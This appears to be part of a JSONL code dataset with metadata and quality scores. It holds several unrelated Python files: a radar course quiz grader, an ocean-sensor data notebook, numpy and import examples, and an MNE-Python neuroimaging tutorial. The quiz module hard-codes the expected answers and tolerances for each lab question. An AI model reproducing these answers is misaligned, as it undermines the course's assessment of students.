Q1.2.4b\ndef quiz_1_2_4b():\n    prompt = 'Enter range (in m):'\n    val = 3E8*0.0057/2\n    tol = 0.01\n    new_quiz(prompt, val, rel_tol=tol)\n    \n# Q1.2.5\ndef quiz_1_2_5():\n    prompt = 'Enter range (in m):'\n    val = math.sqrt(75**2 + 100**2)\n    tol = 0.01\n    new_quiz(prompt, val, rel_tol=tol)\n    \n# Q1.2.6a\ndef quiz_1_2_6a():\n    prompt = 'Enter range (in m):'\n    val = math.sqrt(50**2 + 50**2)\n    tol = 0.01\n    new_quiz(prompt, val, rel_tol=tol)\n    \n# Q1.2.6b\ndef quiz_1_2_6b():\n    prompt = 'Enter azimuth (in deg, within +/- 3 deg):'\n    val = 90 - rd.rad2deg(math.atan2(50, 50))\n    tol = 3\n    new_quiz(prompt, val, abs_tol=tol)\n    \n# Q1.2.7a\ndef quiz_1_2_7a():\n    prompt = 'Enter range (in m):'\n    val = math.sqrt(40**2 + 20**2)\n    tol = 0.01\n    new_quiz(prompt, val, rel_tol=tol)\n    \n# Q1.2.7b\ndef quiz_1_2_7b():\n    prompt = 'Enter azimuth (in deg, within +/- 3 deg):'\n    val = 90 - rd.rad2deg(math.atan2(-20, 40))\n    tol = 3\n    new_quiz(prompt, val, abs_tol=tol)\n    \n# Q1.2.8a\ndef quiz_1_2_8a():\n    prompt = 'Enter beamwidth (in deg):'\n    val = 70*0.12/3.8\n    tol = 0.01\n    new_quiz(prompt, val, rel_tol=tol)\n    \n# Q1.2.8b\ndef quiz_1_2_8b():\n    prompt = 'Enter diameter (in m):'\n    val = 70*rd.wavelen(10E9, propvel=3E8)\n    tol = 0.01\n    new_quiz(prompt, val, rel_tol=tol)\n    \n# Q1.2.9\ndef quiz_1_2_9():\n    prompt = 'Enter transmit gain (in dB):'\n    val = rd.to_db(4*math.pi*2.1*3.3/rd.wavelen(15E3, propvel=2E3)**2)\n    tol = 0.01\n    new_quiz(prompt, val, rel_tol=tol)\n    \n# Q1.2.10a\ndef quiz_1_2_10a():\n    prompt = 'Enter wavelength (in m):'\n    val = rd.wavelen(5E9)\n    tol = 0.01\n    new_quiz(prompt, val, rel_tol=tol)\n    \n# Q1.2.10b\ndef quiz_1_2_10b():\n    prompt = 'Enter beamwidth (in deg):'\n    val = 70*rd.wavelen(5E9)/4.4\n    tol = 0.01\n    new_quiz(prompt, val, rel_tol=tol)\n    \n# Q1.2.10c\ndef quiz_1_2_10c():\n    prompt = 'Enter transmit gain (in dB):'\n    val = rd.to_db(4*math.pi*(math.pi*2.2**2)/rd.wavelen(5E9)**2)\n    tol = 0.01\n    new_quiz(prompt, val, rel_tol=tol)\n\n#-------Lab 2.1: Radar Range Equation-------\n    \n# Q2.1.1a\ndef quiz_2_1_1a():\n    prompt = 'Enter SNR (in dB):'\n    val = rd.to_db(100/5.3)\n    tol = 0.01\n    new_quiz(prompt, val, rel_tol=tol)\n    \n# Q2.1.1b\ndef quiz_2_1_1b():\n    prompt = 'Enter signal energy (in J):'\n    val = rd.from_db(15)*2.2\n    tol = 0.01\n    new_quiz(prompt, val, rel_tol=tol)  \n\n# Q2.1.2a\ndef quiz_2_1_2a():\n    prompt = 'Enter received power (in W):'\n    val = rd.friis(50E3, 10E3, area=10, gain=rd.from_db(35.0))\n    tol = 0.01\n    new_quiz(prompt, val, rel_tol=tol) \n\n# Q2.1.2b\ndef quiz_2_1_2b():\n    prompt = 'Enter dish radius (in m):'\n    val = np.sqrt(rd.gain2area((1/100E3/5)*4*np.pi*(10E3)**2, 3.5E9)/np.pi)\n    tol = 0.01\n    new_quiz(prompt, val, rel_tol=tol) \n    \n# Q2.1.3a\ndef quiz_2_1_3a():\n    prompt = 'Enter incident power (in W):'\n    val = rd.friis(50E3, 150E3, area=rd.from_db(5), gain=rd.from_db(30))\n    tol = 0.01\n    new_quiz(prompt, val, rel_tol=tol) \n    \n# Q2.1.3b\ndef quiz_2_1_3b():\n    prompt = 'Enter range (in m):'\n    val = math.sqrt(500E3*1*rd.from_db(25)/4/math.pi/0.1E-3)\n    tol = 0.01\n    new_quiz(prompt, val, rel_tol=tol) \n    \n# Q2.1.4a\ndef quiz_2_1_4a():\n    prompt = 'Enter received power (in W):'\n    val = rd.rx_power(100E3, 600E3, 3E9, rcs=rd.from_db(5), gain=rd.from_db(80))\n    tol = 0.01\n    new_quiz(prompt, val, rel_tol=tol) \n    \n# Q2.1.4b\ndef quiz_2_1_4b():\n    prompt = 'Enter effective aperture area (in m^2):'\n    val = rd.gain2area(rd.from_db(24.3), 1.3E9)\n    tol = 0.01\n    new_quiz(prompt, val, rel_tol=tol) \n    \n# Q2.1.4c\ndef quiz_2_1_4c():\n    prompt = 'Enter RCS (in dBsm):'\n    wlen = rd.wavelen(1.5E9)\n    val = rd.to_db(10E-12*(10E3**4)*(4*np.pi)**3/30/rd.from_db(80)/wlen**2)\n    tol = 0.01\n    new_quiz(prompt, val, rel_tol=tol) \n    \n# Q2.1.5\ndef quiz_2_1_5():\n    prompt = 'Enter noise energy (in J):'\n    val = k*722\n    tol = 0.01\n    new_quiz(prompt, val, rel_tol=tol) \n\n# Q2.1.6\ndef quiz_2_1_6():\n    prompt = 'Enter SNR (in dB):'\n    val = rd.to_db(rd.rx_snr(200E3, 50, 5E9, 750, rcs=rd.from_db(-5), gain=rd.from_db(70)))\n    tol = 0.01\n    new_quiz(prompt, val, rel_tol=tol) \n    \n# Q2.1.7\ndef quiz_2_1_7():\n    prompt = 'Enter SNR (in dB):'\n    val = rd.to_db(rd.snrconv(rd.from_db(17), 75E3, rd.from_db(-10), 50E3, rd.from_db(-15)))\n    tol = 0.01\n    new_quiz(prompt, val, rel_tol=tol) \n\n#-------Lab 2.2: Basic Radar Design-------\n    \n#-------Lab 3.1: Radar Transmissions and Receptions-------\n    \n# Q3.1.1\ndef quiz_3_1_1():\n    prompt = 'Enter pulsewidth (in \u00b5s):'\n    val = 7.2\n    tol = 0.1\n    new_quiz(prompt, val, abs_tol=tol)\n    \n# Q3.1.2a\ndef quiz_3_1_2a():\n    prompt = 'Enter PRI (in s):'\n    val = 1/10E3\n    tol = 0.01\n    new_quiz(prompt, val, rel_tol=tol)\n    \n# Q3.1.2b\ndef quiz_3_1_2b():\n    prompt = 'Enter duty cycle:'\n    val = 150E-6*1E3\n    tol = 0.01\n    new_quiz(prompt, val, rel_tol=tol)\n    \n# Q3.1.3a\ndef quiz_3_1_3a():\n    prompt = 'Enter delay (in ns):'\n    val = -2.83\n    tol = 0.01\n    new_quiz(prompt, val, abs_tol=tol)\n    \n# Q3.1.3b\ndef quiz_3_1_3b():\n    prompt = 'Enter delay (in ns):'\n    val = -2.83\n    tol = 0.01\n    new_quiz(prompt, val, abs_tol=tol)\n    \n# Q3.1.4a\ndef quiz_3_1_4a():\n    prompt = 'Enter phase (in deg):'\n    val = 168\n    tol = 1\n    new_quiz(prompt, val, abs_tol=tol)\n    \n# Q3.1.4b\ndef quiz_3_1_4b():\n    prompt = 'Enter phase (in deg):'\n    val = 120\n    tol = 1\n    new_quiz(prompt, val, abs_tol=tol)\n    \n# Q3.1.5\ndef quiz_3_1_5():\n    prompt = 'Enter bandwidth (in Hz):'\n    val = c/2/10\n    tol = 0.01\n    new_quiz(prompt, val, rel_tol=tol)\n    \n#-------Lab 3.2: Detection-------\n    \n# Q3.2.1a\ndef quiz_3_2_1a():\n    prompt = 'Enter prob. of detection:'\n    val = 0.69\n    tol = 0.02\n    new_quiz(prompt, val, abs_tol=tol)\n    \n# Q3.2.1b\ndef quiz_3_2_1b():\n    prompt = 'Enter prob. of false alarm:'\n    val = 0.17\n    tol = 0.02\n    new_quiz(prompt, val, abs_tol=tol)\n    \n#-------Lab 4.1: Target Parameter Estimation-------\n    \n# Q4.1.1a\ndef quiz_4_1_1a():\n    prompt = 'Enter range (in m):'\n    val = c*0.00333/2\n    tol = 0.01\n    new_quiz(prompt, val, rel_tol=tol)\n    \n# Q4.1.1b\ndef quiz_4_1_1b():\n    prompt = 'Enter range resolution (in m):'\n    val = rd.range_res(30E6)\n    tol = 0.01\n    new_quiz(prompt, val, rel_tol=tol)\n    \n# Q4.1.1c\ndef quiz_4_1_1c():\n    prompt = 'Enter range accuracy (in m):'\n    val = rd.range_res(30E6)/np.sqrt(rd.from_db(11))\n    tol = 0.01\n    new_quiz(prompt, val, rel_tol=tol)\n    \n# Q4.1.2a\ndef quiz_4_1_2a():\n    prompt = 'Enter angle accuracy (in deg):'\n    val = rd.dish_beamw(2, 3.5E9)\n    tol = 0.01\n    new_quiz(prompt, val, rel_tol=tol)\n    \n# Q4.1.2b\ndef quiz_4_1_2b():\n    prompt = 'Enter angle accuracy (in deg):'\n    val = rd.dish_beamw(2, 3.5E9)/np.sqrt(rd.from_db(14))\n    tol = 0.01\n    new_quiz(prompt, val, rel_tol=tol)\n    \n# Q4.1.3\ndef quiz_4_1_3():\n    prompt = 'Enter cross-range resolution (in m):'\n    val = 50E3*rd.wavelen(3.5E9)/2.1\n    tol = 0.01\n    new_quiz(prompt, val, rel_tol=tol)\n    \n# Q4.1.4a\ndef quiz_4_1_4a():\n    prompt = 'Enter Doppler shift (in Hz):'\n    val = rd.dopp_shift(500, 1.5E9)\n    tol = 0.01\n    new_quiz(prompt, val, rel_tol=tol)\n    \n# Q4.1.4b\ndef quiz_4_1_4b():\n    prompt = 'Enter range rate (in m/s):'\n    val = -c*10E3/2/3.0E9\n    tol = 0.01\n    new_quiz(prompt, val, rel_tol=tol)\n    \n# Q4.1.5\ndef quiz_4_1_5():\n    prompt = 'Enter range rate (in m/s):'\n    val = 55.0\n    tol = 1.0\n    new_quiz(prompt, val, abs_tol=tol)\n    \n# Q4.1.6a\ndef quiz_4_1_6a():\n    prompt = 'Enter range rate resolution (in m/s):'\n    val = c/2/5E9/50E-3\n    tol = 0.01\n    new_quiz(prompt, val, rel_tol=tol)\n    \n# Q4.1.6b\ndef quiz_4_1_6b():\n    prompt = 'Enter range rate (in m/s):'\n    val = c*500/4/5E9\n    tol = 0.01\n    new_quiz(prompt, val, rel_tol=tol)\n    \n# Q4.1.7a\ndef quiz_4_1_7a():\n    prompt = 'Enter RCS (in dBsm):'\n    val = rd.to_db(rd.from_db(0)*(rd.from_db(13)/rd.from_db(15))*(65E3/50E3)**4)\n    tol = 0.01\n    new_quiz(prompt, val, rel_tol=tol)\n    \n# Q4.1.7b\ndef quiz_4_1_7b():\n    prompt = 'Enter RCS (in dBsm):'\n    val = rd.to_db(rd.from_db(5)*(rd.from_db(13)/rd.from_db(7))*(100E3/500E3)**4)\n    tol = 0.01\n    new_quiz(prompt, val, rel_tol=tol)\n    \n# Q5.1.1a\ndef quiz_5_1_1a():\n    prompt = 'Enter wavelength (in m):'\n    val = rd.wavelen(10E9)\n    tol = 0.01\n    new_quiz(prompt, val, rel_tol=tol)\n    \n# Q5.1.1b\ndef quiz_5_1_1b():\n    prompt = 'Enter beamwidth (in deg):'\n    val = 70*rd.wavelen(10E9)/4\n    tol = 0.01\n    new_quiz(prompt, val, rel_tol=tol)\n    \n# Q5.1.1c\ndef quiz_5_1_1c():\n    prompt = 'Enter transmit gain (in dB):'\n    val = rd.to_db(rd.dish_gain(2, 10E9))\n    tol = 0.01\n    new_quiz(prompt, val, rel_tol=tol)\n    \n# Q5.1.2a\ndef quiz_5_1_2a():\n    prompt = 'Enter received energy (in J):'\n    val = rd.rx_energy(200E3, 10, 2E9, gain=rd.area2gain(10, 2E9)**2, rcs=rd.from_db(-5))\n    tol = 0.01\n    new_quiz(prompt, val, rel_tol=tol)\n    \n# Q5.1.2b\ndef quiz_5_1_2b():\n    prompt = 'Enter SNR (in dB):'\n    val = rd.to_db(rd.rx_energy(200E3, 10, 2E9, gain=rd.area2gain(10, 2E9)**2, rcs=rd.from_db(-5))) - \\\n        rd.to_db(k*500)\n    tol = 0.01\n    new_quiz(prompt, val, rel_tol=tol)\n    \n# Q5.1.3a\ndef quiz_5_1_3a():\n    prompt = 'Enter duty cycle:'\n    val = 100E-6*2E3\n    tol = 0.01\n    new_quiz(prompt, val, rel_tol=tol)\n    \n# Q5.1.3b\ndef quiz_5_1_3b():\n    prompt = 'Enter number of pulses:'\n    val = math.ceil(rd.from_db(12))\n    tol = 0.01\n    new_quiz(prompt, val, rel_tol=tol)\n    \n# Q5.1.4a\ndef quiz_5_1_4a():\n    prompt = 'Enter bandwidth (in Hz):'\n    val = c/2/1.5\n    tol = 0.01\n    new_quiz(prompt, val, rel_tol=tol)\n    \n# Q5.1.4b\ndef quiz_5_1_4b():\n    prompt = 'Enter cross range resolution (in m):'\n    beamw = 57.3*rd.wavelen(5E9)/5.2\n    val = 90E3*beamw/57.3\n    tol = 0.01\n    new_quiz(prompt, val, rel_tol=tol)\n    \n# Q5.1.4c\ndef quiz_5_1_4c():\n    prompt = 'Enter range rate (in m/s):'\n    val = c*700/4/3E9\n    tol = 0.01\n    new_quiz(prompt, val, rel_tol=tol)\n    \n# Q5.1.5\ndef quiz_5_1_5(targets):\n    for ii in range(len(targets)): \n        prompt = f'Enter route number for target with RCS {targets[ii].rcs:.2f} dBsm:'\n        val = targets[ii].route\n        tol = 0.01\n        new_quiz(prompt, val, abs_tol=tol)\n", "meta": {"hexsha": "c1e3786c6c44bd62d03370c38e35e881f6238820", "size": 15550, "ext": "py", "lang": "Python", "max_stars_repo_path": "rad/quiz.py", "max_stars_repo_name": "mit-ll/radar-intro", "max_stars_repo_head_hexsha": "9ff2ac5d263c9ceddafed320a65396fb8258fb32", "max_stars_repo_licenses": ["FSFULLR", "FSFUL"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-09-17T21:08:58.000Z", "max_stars_repo_stars_event_max_datetime": "2021-09-17T21:08:58.000Z", "max_issues_repo_path": "rad/quiz.py", "max_issues_repo_name": "mit-ll/radar-intro", "max_issues_repo_head_hexsha": "9ff2ac5d263c9ceddafed320a65396fb8258fb32", "max_issues_repo_licenses": ["FSFULLR", "FSFUL"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "rad/quiz.py", "max_forks_repo_name": "mit-ll/radar-intro", "max_forks_repo_head_hexsha": "9ff2ac5d263c9ceddafed320a65396fb8258fb32", "max_forks_repo_licenses": ["FSFULLR", "FSFUL"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 24.6825396825, "max_line_length": 103, "alphanum_fraction": 0.6010289389, "include": true, "reason": "import numpy", "num_tokens": 6048, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4416729909662417, "lm_q2_score": 0.1688569500503904, "lm_q1q2_score": 0.0745795541741932}}
{"text": "\n# coding: utf-8\n\n# # Accessing ncSOS with OWSLib\n\n# We have an ncSOS server with a [get observation example that works](http://geoport-dev.whoi.edu/thredds/sos/usgs/data2/notebook/1211-AA.cdf?service=SOS&version=1.0.0&request=GetObservation&responseFormat=text%2Fxml%3Bsubtype%3D%22om%2F1.0.0%22&offering=1211-AA&observedProperty=http://mmisw.org/ont/cf/parameter/eastward_sea_water_velocity&procedure=urn:ioos:station:gov.usgs.cmgp:1211-AA):\n# ```\n# http://geoport-dev.whoi.edu/thredds/sos/usgs/data2/notebook/1211-AA.cdf?service=SOS&version=1.0.0&request=GetObservation&responseFormat=text%2Fxml%3Bsubtype%3D%22om%2F1.0.0%22&offering=1211-AA&observedProperty=http://mmisw.org/ont/cf/parameter/eastward_sea_water_velocity&procedure=urn:ioos:station:gov.usgs.cmgp:1211-AA\n# ```\n# \n# But can we formulate, request and process this same query (and others like it) using OWSlib?  \n\n# In[64]:\n\nget_ipython().magic('matplotlib inline')\nfrom owslib.sos import SensorObservationService\nimport pdb\nfrom owslib.etree import etree\nimport pandas as pd\nimport datetime as dt\nimport numpy as np\n\n\n# In[46]:\n\nurl = 'http://sdf.ndbc.noaa.gov/sos/server.php?request=GetCapabilities&service=SOS&version=1.0.0'\nndbc = SensorObservationService(url)\n\n\n# In[47]:\n\n# usgs woods hole\n# buoy data (single current meter)\nurl='http://geoport-dev.whoi.edu/thredds/sos/usgs/data2/notebook/1211-AA.cdf'\nusgs = SensorObservationService(url)\ncontents = usgs.contents\n\n\n# In[48]:\n\nusgs.contents\n\n\n# In[49]:\n\noff = usgs.offerings[1]\noff.name\n\n\n# In[50]:\n\noff.response_formats\n\n\n# In[51]:\n\noff.observed_properties\n\n\n# In[52]:\n\noff.procedures\n\n\n# In[53]:\n\n# the get observation request below works.  How can we recreate this using OWSLib?\n# http://geoport-dev.whoi.edu/thredds/sos/usgs/data2/notebook/1211-A1H.cdf?service=SOS&version=1.0.0&request=GetObservation&responseFormat=text%2Fxml%3Bsubtype%3D%22om%2F1.0.0%22&offering=1211-A1H&observedProperty=u_1205&procedure=urn:ioos:station:gov.usgs:1211-A1H\n\n\n# In[54]:\n\n#pdb.set_trace()\nresponse = usgs.get_observation(offerings=['1211-AA'],\n                                 responseFormat='text/xml;subtype=\"om/1.0.0\"',\n                                 observedProperties=['http://mmisw.org/ont/cf/parameter/eastward_sea_water_velocity'],\n                                 procedure='urn:ioos:station:gov.usgs:1211-AA')\n\n\n# In[55]:\n\nprint(response[0:4000])\n\n\n# In[56]:\n\n# usgs woods hole ADCP data\n# url='http://geoport-dev.whoi.edu/thredds/sos/usgs/data2/notebook/9111aqd-a.nc'\n# adcp = SensorObservationService(url)\n\n\n# In[57]:\n\nroot = etree.fromstring(response)\n\n\n# In[58]:\n\nprint(root)\n\n\n# In[59]:\n\n# root.findall(\".//{%(om)s}Observation\" % root.nsmap )\nvalues = root.find(\".//{%(swe)s}values\" % root.nsmap )\n\n\n# In[60]:\n\ndate_value = np.array( [ (dt.datetime.strptime(d,\"%Y-%m-%dT%H:%M:%SZ\"),float(v))\n                      for d,v in [l.split(',') for l in values.text.split()]] )\n\n\n# In[61]:\n\nts = pd.Series(date_value[:,1],index=date_value[:,0])\n\n\n# In[72]:\n\nts.plot(figsize=(12,4), grid='on');\n\n\n# # Now try setting time range via eventTime. \n\n# In[70]:\n\n\nstart = '1977-01-03T00:00:00Z'\nstop = '1977-01-07T00:00:00Z'\nresponse = usgs.get_observation(offerings=['1211-AA'],\n                                 responseFormat='text/xml;subtype=\"om/1.0.0\"',\n                                 observedProperties=['http://mmisw.org/ont/cf/parameter/eastward_sea_water_velocity'],\n                                 procedure='urn:ioos:station:gov.usgs:1211-AA',\n                                 eventTime='{}/{}'.format(start,stop))\n\n\n# In[73]:\n\nroot = etree.fromstring(response)\ndate_value = np.array( [ (dt.datetime.strptime(d,\"%Y-%m-%dT%H:%M:%SZ\"),float(v))\n                      for d,v in [l.split(',') for l in values.text.split()]] )\nts = pd.Series(date_value[:,1],index=date_value[:,0])\nts.plot(figsize=(12,4), grid='on');\n\n\n# ...hmmm, didn't seem to do anything\n\n# In[ ]:\n\n\n\n", "meta": {"hexsha": "8b9ac453cc90b1af901da225886c1ec15da9b907", "size": 3895, "ext": "py", "lang": "Python", "max_stars_repo_path": "files/ncSOS_and_OWSlib.py", "max_stars_repo_name": "rsignell-usgs/ipython-notebooks", "max_stars_repo_head_hexsha": "52d4f2b9036ba66086d4505221dae6040d2dff60", "max_stars_repo_licenses": ["Unlicense"], "max_stars_count": 7, "max_stars_repo_stars_event_min_datetime": "2015-10-12T09:00:05.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-07T12:31:48.000Z", "max_issues_repo_path": "files/ncSOS_and_OWSlib.py", "max_issues_repo_name": "rsignell-usgs/ipython-notebooks", "max_issues_repo_head_hexsha": "52d4f2b9036ba66086d4505221dae6040d2dff60", "max_issues_repo_licenses": ["Unlicense"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "files/ncSOS_and_OWSlib.py", "max_forks_repo_name": "rsignell-usgs/ipython-notebooks", "max_forks_repo_head_hexsha": "52d4f2b9036ba66086d4505221dae6040d2dff60", "max_forks_repo_licenses": ["Unlicense"], "max_forks_count": 10, "max_forks_repo_forks_event_min_datetime": "2015-07-20T18:25:01.000Z", "max_forks_repo_forks_event_max_datetime": "2021-08-17T15:32:22.000Z", "avg_line_length": 25.4575163399, "max_line_length": 392, "alphanum_fraction": 0.6700898588, "include": true, "reason": "import numpy", "num_tokens": 1206, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4532618480153861, "lm_q2_score": 0.1645164608483867, "lm_q1q2_score": 0.07456903507309066}}
{"text": "import numpy as np\n\n# Create an array\narr = np.arange(5)\n\n# Saving array on disk in binary format (file extension .npy)\nnp.save('my_array', arr)\n\n# Change arr\narr = np.arange(10)\n\n# Lets see the original saved copy\nnp.load('my_array.npy')\n\n# Saving multiple arrays into a zip file\nnp.savez('two_arrays.npz', x=arr, y=arr)\n\n# Now loading multiple arrays\narchive_array = np.load('two_arrays.npz')\n\n# Show\narchive_array['x']\n\n# Now saving and loading text files\narr = np.array([[1, 2, 3], [4, 5, 6]])\nnp.savetxt('my_test_text.txt', arr, delimiter=',')\n\n# Loading text files\narr = np.loadtxt('my_test_text.txt', delimiter=',')\n", "meta": {"hexsha": "6ae72907faef9a2811046f4dd63e08c524de3052", "size": 623, "ext": "py", "lang": "Python", "max_stars_repo_path": "numpy/array-input-and-output.py", "max_stars_repo_name": "LucasHelal/data-science", "max_stars_repo_head_hexsha": "9b243be1dea23a521e6ebb49dc358708a9b17dbd", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "numpy/array-input-and-output.py", "max_issues_repo_name": "LucasHelal/data-science", "max_issues_repo_head_hexsha": "9b243be1dea23a521e6ebb49dc358708a9b17dbd", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "numpy/array-input-and-output.py", "max_forks_repo_name": "LucasHelal/data-science", "max_forks_repo_head_hexsha": "9b243be1dea23a521e6ebb49dc358708a9b17dbd", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 20.7666666667, "max_line_length": 61, "alphanum_fraction": 0.6998394864, "include": true, "reason": "import numpy", "num_tokens": 179, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.40356683938849797, "lm_q2_score": 0.184767510648, "lm_q1q2_score": 0.074566040293894}}
{"text": "import numpy as np #the numpy library \nimport matplotlib.pyplot as plt #Matplotlib's pyplot \n\nimport sys #gives access to C-like sys library \nimport os #gives acess to operating system, if we want to change directory or make a new directory while running the program \n\nprint(sys.argv) #command line arguments \nprint(os.getcwd()) #print current working directory ", "meta": {"hexsha": "2d9a9fa2de5c66ac4650f83ff4c354e7fb580ad9", "size": 362, "ext": "py", "lang": "Python", "max_stars_repo_path": "astr-119-hw-2/useful_modules.py", "max_stars_repo_name": "talirrito/astr-119", "max_stars_repo_head_hexsha": "22682b798b7a200fa8227539b42f2630f7f989b0", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "astr-119-hw-2/useful_modules.py", "max_issues_repo_name": "talirrito/astr-119", "max_issues_repo_head_hexsha": "22682b798b7a200fa8227539b42f2630f7f989b0", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 7, "max_issues_repo_issues_event_min_datetime": "2021-09-26T21:30:13.000Z", "max_issues_repo_issues_event_max_datetime": "2021-12-09T20:11:01.000Z", "max_forks_repo_path": "astr-119-hw-2/useful_modules.py", "max_forks_repo_name": "talirrito/astr-119", "max_forks_repo_head_hexsha": "22682b798b7a200fa8227539b42f2630f7f989b0", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 45.25, "max_line_length": 125, "alphanum_fraction": 0.7872928177, "include": true, "reason": "import numpy", "num_tokens": 77, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.4301473485858429, "lm_q2_score": 0.17328821446825263, "lm_q1q2_score": 0.07453946599469377}}
{"text": "# -*- coding: utf-8 -*-\n\"\"\"\n.. _tut-overview:\n\nOverview of MEG/EEG analysis with MNE-Python\n============================================\n\nThis tutorial covers the basic EEG/MEG pipeline for event-related analysis:\nloading data, epoching, averaging, plotting, and estimating cortical activity\nfrom sensor data. It introduces the core MNE-Python data structures\n:class:`~mne.io.Raw`, :class:`~mne.Epochs`, :class:`~mne.Evoked`, and\n:class:`~mne.SourceEstimate`, and covers a lot of ground fairly quickly (at the\nexpense of depth). Subsequent tutorials address each of these topics in greater\ndetail.\n\n.. contents:: Page contents\n   :local:\n   :depth: 1\n\nWe begin by importing the necessary Python modules:\n\"\"\"\n\nimport os\nimport numpy as np\nimport mne\n\n###############################################################################\n# Loading data\n# ^^^^^^^^^^^^\n#\n# MNE-Python data structures are based around the FIF file format from\n# Neuromag, but there are reader functions for :ref:`a wide variety of other\n# data formats <data-formats>`. MNE-Python also has interfaces to a\n# variety of :ref:`publicly available datasets <datasets>`,\n# which MNE-Python can download and manage for you.\n#\n# We'll start this tutorial by loading one of the example datasets (called\n# \":ref:`sample-dataset`\"), which contains EEG and MEG data from one subject\n# performing an audiovisual experiment, along with structural MRI scans for\n# that subject. The :func:`mne.datasets.sample.data_path` function will\n# automatically download the dataset if it isn't found in one of the expected\n# locations, then return the directory path to the dataset (see the\n# documentation of :func:`~mne.datasets.sample.data_path` for a list of places\n# it checks before downloading). Note also that for this tutorial to run\n# smoothly on our servers, we're using a filtered and downsampled version of\n# the data (:file:`sample_audvis_filt-0-40_raw.fif`), but an unfiltered version\n# (:file:`sample_audvis_raw.fif`) is also included in the sample dataset and\n# could be substituted here when running the tutorial locally.\n\nsample_data_folder = mne.datasets.sample.data_path()\nsample_data_raw_file = os.path.join(sample_data_folder, 'MEG', 'sample',\n                                    'sample_audvis_filt-0-40_raw.fif')\nraw = mne.io.read_raw_fif(sample_data_raw_file)\n\n###############################################################################\n# By default, :func:`~mne.io.read_raw_fif` displays some information about the\n# file it's loading; for example, here it tells us that there are four\n# \"projection items\" in the file along with the recorded data; those are\n# :term:`SSP projectors <projector>` calculated to remove environmental noise\n# from the MEG signals, plus a projector to mean-reference the EEG channels;\n# these are discussed in the tutorial :ref:`tut-projectors-background`.\n# In addition to the information displayed during loading,\n# you can get a glimpse of the basic details of a :class:`~mne.io.Raw` object\n# by printing it; even more is available by printing its ``info`` attribute\n# (a :class:`dictionary-like object <mne.Info>` that is preserved across\n# :class:`~mne.io.Raw`, :class:`~mne.Epochs`, and :class:`~mne.Evoked`\n# objects). The ``info`` data structure keeps track of channel locations,\n# applied filters, projectors, etc. Notice especially the ``chs`` entry,\n# showing that MNE-Python detects different sensor types and handles each\n# appropriately. See :ref:`tut-info-class` for more on the :class:`~mne.Info`\n# class.\n\nprint(raw)\nprint(raw.info)\n\n###############################################################################\n# :class:`~mne.io.Raw` objects also have several built-in plotting methods;\n# here we show the power spectral density (PSD) for each sensor type with\n# :meth:`~mne.io.Raw.plot_psd`, as well as a plot of the raw sensor traces with\n# :meth:`~mne.io.Raw.plot`. In the PSD plot, we'll only plot frequencies below\n# 50 Hz (since our data are low-pass filtered at 40 Hz). In interactive Python\n# sessions, :meth:`~mne.io.Raw.plot` is interactive and allows scrolling,\n# scaling, bad channel marking, annotation, projector toggling, etc.\n\nraw.plot_psd(fmax=50)\nraw.plot(duration=5, n_channels=30)\n\n###############################################################################\n# Preprocessing\n# ^^^^^^^^^^^^^\n#\n# MNE-Python supports a variety of preprocessing approaches and techniques\n# (maxwell filtering, signal-space projection, independent components analysis,\n# filtering, downsampling, etc); see the full list of capabilities in the\n# :mod:`mne.preprocessing` and :mod:`mne.filter` submodules. Here we'll clean\n# up our data by performing independent components analysis\n# (:class:`~mne.preprocessing.ICA`); for brevity we'll skip the steps that\n# helped us determined which components best capture the artifacts (see\n# :ref:`tut-artifact-ica` for a detailed walk-through of that process).\n\n# set up and fit the ICA\nica = mne.preprocessing.ICA(n_components=20, random_state=97, max_iter=800)\nica.fit(raw)\nica.exclude = [1, 2]  # details on how we picked these are omitted here\nica.plot_properties(raw, picks=ica.exclude)\n\n###############################################################################\n# Once we're confident about which component(s) we want to remove, we pass them\n# as the ``exclude`` parameter and then apply the ICA to the raw signal. The\n# :meth:`~mne.preprocessing.ICA.apply` method requires the raw data to be\n# loaded into memory (by default it's only read from disk as-needed), so we'll\n# use :meth:`~mne.io.Raw.load_data` first. We'll also make a copy of the\n# :class:`~mne.io.Raw` object so we can compare the signal before and after\n# artifact removal side-by-side:\n\norig_raw = raw.copy()\nraw.load_data()\nica.apply(raw)\n\n# show some frontal channels to clearly illustrate the artifact removal\nchs = ['MEG 0111', 'MEG 0121', 'MEG 0131', 'MEG 0211', 'MEG 0221', 'MEG 0231',\n       'MEG 0311', 'MEG 0321', 'MEG 0331', 'MEG 1511', 'MEG 1521', 'MEG 1531',\n       'EEG 001', 'EEG 002', 'EEG 003', 'EEG 004', 'EEG 005', 'EEG 006',\n       'EEG 007', 'EEG 008']\nchan_idxs = [raw.ch_names.index(ch) for ch in chs]\norig_raw.plot(order=chan_idxs, start=12, duration=4)\nraw.plot(order=chan_idxs, start=12, duration=4)\n\n###############################################################################\n# .. _overview-tut-events-section:\n#\n# Detecting experimental events\n# 